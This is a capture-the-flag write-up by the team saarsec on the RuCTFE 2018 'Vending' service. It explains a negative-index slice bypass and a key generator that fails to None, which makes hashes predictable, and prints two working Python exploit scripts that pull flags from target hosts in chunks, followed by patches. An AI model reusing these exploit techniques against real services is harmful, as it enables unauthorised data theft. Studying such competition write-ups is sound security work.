Saarsec

saarsec

Schwenk and pwn

RuCTFE 2018 WriteUp Vending

Vending was a Python 3 service seemingly implementing a vending machine. It used a ThreadingHTTPServer to route requests to the corresponding Python code. So, we first have a look at the routing table used by the service.

return RoutingTable(
    Route("GET", "/", index_handler.IndexHandler()),
    Route("CREATE", "/vending_machine", create_machine_handler.CreateMachineHandler(VENDING_MACHINES)),
    Route("GET", "/machine_name", machine_name_handler.MachineNameHandler(VENDING_MACHINES)),
    Route("GET", "/machine_manufacturer", machine_manufacturer_handler.MachineManufacturerHandler(VENDING_MACHINES)),
    Route("GET", "/machine_meta", machine_meta_handler.MachineMetaHandler(VENDING_MACHINES)),
    Route("GET", "/machine_master_key", machine_master_key_handler.MachineMasterKeyHandler(VENDING_MACHINES)),
    Route("CREATE", "/vending_item", create_vending_keys_handler.CreateVendingKeysHandler(VM_KEYS)),
    Route("GET", "/vending_item", get_data_handler.GetDataHandler(VM_KEYS))
)

We see that there are two CREATE commands available; one for adding a vending machine and one for adding a vending item. Since the gameservers needs to store the flag somewhere, we just assumed that the CREATE methods were a good place to start.

Flaw #1: Storing flags in created machines

in particular the CreateMachineHandler. The handle method of this handler reads a name, an inventor, meta information, a key, and a master key from the request, and invokves add_new_machine.

1
2
3
4
5
6
def handle(self, request: Request) -> Response:
    try:
        name, inventor, meta, key, master_key = request.body.readline().decode().strip().split()
    except (TypeError, ValueError):
        return Response(400, b'Bad request')
    res = self.vm.add_new_machine(name, inventor, meta, key, master_key)

When we follow that function invocation, we find something interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class VendingMachinesFactory:
    def __init__(self):
        self.__name = slice(0, 8)
        self.__manufacturer = slice(8, 16)
        self.__meta = slice(16, 128)
        self.__key = slice(128, 160)
        self.__master_key = slice(160, 288)

    def add_new_machine(self, name: str, inventor: str, meta: str, key: str, master_key: str) -> int:
        # .. some other, non important code
        with memoryview(self.vms) as mv:
            struct.pack_into(
                self.composition, mv[counter * self.struct_size: (counter + 1) * self.struct_size],
                0, name, inventor, meta, key, master_key)

    # .. other methods that are not relevant for us
    def get_machine_meta(self, vm_id: int, start: int, stop: int) -> memoryview:
        return self[vm_id][start:stop] if start < self.__meta.stop and stop < self.__meta.stop else None

So, basically, this service uses a memoryview in Python to store information about a vending machine. In particular, the name can be up to 8 bytes, then 8 bytes manufacturer, 112 bytes meta information, 32 bytes key, and finally 128 bytes master key. The weirdly looking construct in add_new_machine merely packs the information into a 288 byte long representation (lines 11-14). We also see that get_machine_meta takes three parameters: a vending machine ID, a start parameter, and a stop parameter. We see that this returns information from the whole 288 byte long string. In particular, it only returns information if both parameter start and stop are less than the end of the meta part of a vending machine. Given that we are in Python, though, this already screams for a vulnerability. In particular, lists in Python can be accessed relative to the end of the list, by using a negative index. So, if we want to just get the complete, packed information on the vending machine, we have to call the function with start=0 and stop=-1.

While this would spit out the flag, it is also noisy as hell :-) So we decided to exploit this in a bit more subtle way. Instead of stealing the complete blob of data, we are only really interested in the flag. Assuming that someone might be analyzing their traffic for flag patterns, stealing this in a single go seems like a bad idea, though. So, we waited for the first traffic to come in and identified that the flag was stored in the master_key, i.e., offsets 160 to 192. Since we are indexing this from the back, this means the offsets are -128 to -96. Instead of stealing the complete flag in a single attempt, we built the following exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def exploit(host):
    last_id = redisget("%s_vending" % host)
    result = requests.request("CREATE", "http://%s:1883/vending_machine" % host,
                              data="name inventor meta key WFQW4CPfoo7Y048GG9PR575EA43D286=\n",
                              timeout=3).text
    if result.startswith("Created:"):
        machine_id = int(result[8:].strip())
    else:
        return

    redisset("%s_vending" % host, machine_id)
    for i in xrange(last_id+1, machine_id):
        data = str(i) + " " + "-128 -112\n"
        response = requests.request("GET", "http://%s:1883/machine_meta" % host, data=data).text
        master_key = response

        data = str(i) + " " + "-112 -96\n"
        response = requests.request("GET", "http://%s:1883/machine_meta" % host, data=data).text
        master_key += response

        print master_key

Essentially, we used redis to speed up our attack. Since we are looking to extract information on all the machines that were created between runs of exploits, we just retrieve the previous from redis. Next, we create a new vending machine, for which we get an ID in the response. Then, given our current id and the previous one, we iterate over all the machines in between, first requesting the first 16 bytes of the flag (lines 13-15), and subsequently the next 16 (17-19). Finally, we just print the resulting combination, i.e., the stolen flag.

Flaw #2: Storing flags in vending items

The second way of storing flags was in the vending items. For that, the gameserver would use the CREATE /vending_item endpoint, which is shown below.

data_in_vending = request.body.readline().decode().strip()[:32]
vm_pub, vm_private = self.vm_keys.add_new_vending_machine_items(data_in_vending, 8)
return Response(200, f"{vm_pub}:{':'.join(vm_private)}".encode())

So, basically the data posted by the server is truncated to 32 bytes, passed to add_new_vending_machine_items together with the second parameter 8. The return value is then is a tuple of something public and something private (as the names suggest). Let’s have a look at that function then.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class VMKeys:
    def __init__(self):
        self.__keys = {}

    def add_new_vending_machine_items(self, data: str, partitioning: int) -> Tuple[str, Iterable[str]]:
        vm_guid = self.__generate_rand_key()[:16]
        self.__keys[vm_guid] = {}
        partitioned_data = [data[i:i + partitioning] for i in range(len(data))[::partitioning]]
        results = tuple(
            map(
               lambda h: sha256(h.encode()).hexdigest(),
               ("".join(
                    map(str, 
                        (dt, rnd_key, vm_guid)
                    )
                ) for dt, rnd_key in (
                    (i, self.__generate_rand_key(partitioning - i)) for i, x in enumerate(partitioned_data))
                )
            )
        )

        for i, result in enumerate(results):
            self.__keys[vm_guid][result] = partitioned_data[i]
        return vm_guid, results

    # .. skipped, not relevant

    def __generate_rand_key(self, ln=2):
        try:
            return secrets.token_hex(2 ** 2 ** ln)
        except:
            pass

This code highlights that the second parameter is a partitioning. First, in line 6 and random vm_guid is computed. In line 8, the original 32 byte passed data is split into 4 parts of 8 bytes each. Then, the code starting from line 9 is a real braintwister (originally, that was even just one line). So let’s tackle this from the inside out, starting with line 17. The list comprehension iterates over all elements in partitioned_data, putting the index in the list into i, and the value into x. The, the left side of line 17 maps that into i as well as the result of the invocation with of __generate_rand_key(partitioning-i) for each i. This is then used the loop above (line 16) as dt and rnd_key. Those values are used in the invocation of map in line 13, which applies the function str to the tuple of dt, rnd_key, vm_guid, i.e., they are forcefully cast to a string. Finally, these three strings are joined together (line 12) and put to sha256.

Well, that was fun to wrap your head around. This code seems to imply that we are generating truely random values that end up in the variable result. Those values are then used in lines 22 and 23 to store the partitioned flag in the __keys dictionary. Finally, the vm_guid and the seemingly secret entries in the dictionary are returned to the gameserver.

Now, however, we need to have a look at __generate_rand_key, which is called when results is being generated. It uses the secrets library in Python 3 to get a number of random bytes; specifically 2**2**ln for the given parameter ln. If, however, we check again line 17, we find that it is called with partitioning - i. Since partitioning is passed and set to 8, and i is a value between 0 and 3, for the first element, the function will be called with 8, then with 7, then with 6, and finally once with 5. If we, however, do the math here, the flaw jumps out at us: for the first entry, with i=0, we are trying to get 2**2**8 (in Python actually is 2**(2**8), i.e., 2**256) random bytes. Just a side-note, this is 105,312,291,668,557,186,697,918,027,683,670,432,318,895,095,400,549,111,254,310,977,536 TB worth of data ;-)

This results in an OverflowError: Python int too large to convert to C ssize_t for i=0, i=1, i=2. For i=3, so 2**(2**5) bytes, the result is “just” 4GB. However, since the VM only had 4GB, we get a MemoryError in that case as well. So, long story short, we will have an exception in that function, which means we will always just end in line 32; and if a function does not return anything in python, its return value is set to None. So, instead of actually using randomness to calculate the “secret” partitioning keys, we are just concatenating the dt (which is 0 to 3), the string None, and the vm_guid.

So, when we know the vm_guid, we win. Luckily, when we look at how the gameserver stores flags, we find that this actually easy. One example from early in the CTF is as follows (GS means gameserver, VB is the vulnbox’ answer):

GS: CREATE /vending_item RCMX82QQU0CRT5R7OCZ0G0ED544D980=

VB: 81ce53509e4a645d: b2b786aae9734888d2cede2a9e85a35e773d39af5ed4128988a814c64ba5c143: b43d84a05b34e988d01728eb10e9049e8fe73689cc68121dcb448b8f8f44dc59: aa008524f40677cab385a51f80d88866c683d9cf12b22635cffe1cafa3e38763: 98136708198c9a9f55fdfcf1dc544c2838350e58cb163291ea37021196cadc22

GS: CREATE /vending_machine JUjvSuRM PJoGNake 81ce53509e4a645d FfyLyFlVaBZmneAbMIMC NjkPXNfdHPIyUBZpflGL

VB: Created:42

So, we can clearly see two things: first, the vm_guid (81ce53509e4a645d) returned from our vulnbox is immediately used by the gameserver to create a vending machine, whose meta data is set to this vm_guid. Second, if we calculate sha256('0None81ce53509e4a645d'), the result is b2b786aae9734888d2cede2a9e85a35e773d39af5ed4128988a814c64ba5c143 (the second element in the colon-separated list). So, once we know the vm_guid, we can easily retrieve the flags. Since the gameserver regularly used the meta data retrieval feature (without negative indexes, of course), no team could disable this. So, our final exploit looked as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def exploit(host):
    last_id = redisget("%s_vending_new" % host)
    result = requests.request("CREATE", "http://%s:1883/vending_machine" % host,
                              data="name inventor meta key WFQW4CPfoo7Y048GG9PR575EA43D286=\n",
                              timeout=3).text
    if result.startswith("Created:"):
        machine_id = int(result[8:].strip())
    else:
        return
    redisset("%s_vending_new" % host, machine_id)

    for i in xrange(last_id + 1, machine_id):
        response = requests.request("GET", "http://%s:1883/machine_meta" % host, data=str(i) + " 16 127\n").text
        name = response.strip("\x00")
        if len(name) != 16:
            continue

        flag = ""
        for j in xrange(0, 4):
            secret_key = hashlib.sha256("%sNone%s" % (j, name)).hexdigest()
            data = name + " " + secret_key + "\n"

            response = requests.request("GET", "http://%s:1883/vending_item" % host, data=data).text
            flag += response

        print flag

This exploit was our absolute cash cow, stealing a total of 18284 valid flags :-) The first one, which was easy to spot and fix still netted us 6566 valid flags.

Patches

For the first flaw, the fix is trivial: just check that start and stop are not negative. If so, just return nothing. For the second flaw, a proper fix would have been to just replace the call to secrets.token_hex with a fixed number so that the Exception would not be thrown. In the CTF, however, we opted to just return the string secret in the error case. Not that is really secure at all, but is was more than enough to prevent automated exploitation :-)

Discussion

Really cool service, with one very obvious vulnerability (first attack traffic we saw trying to exploit it was around 10 minutes after around first successfully captured flag) and one very involved one :) I think we also were the first to score on the second flaw (at least nobody stole a flag from us). I must note, though, that we did lose one flag on the service. Stupidly enough, when building the initial exploit, I checked a real storing of a flag (you might have noticed the pattern in the exploits…) and used the complete data from there. When I first tested it against another team, storing must have worked and the flag was later stolen from that team. However, this is perfectly in line with me accidentall leaking one flag in each CTF ;-)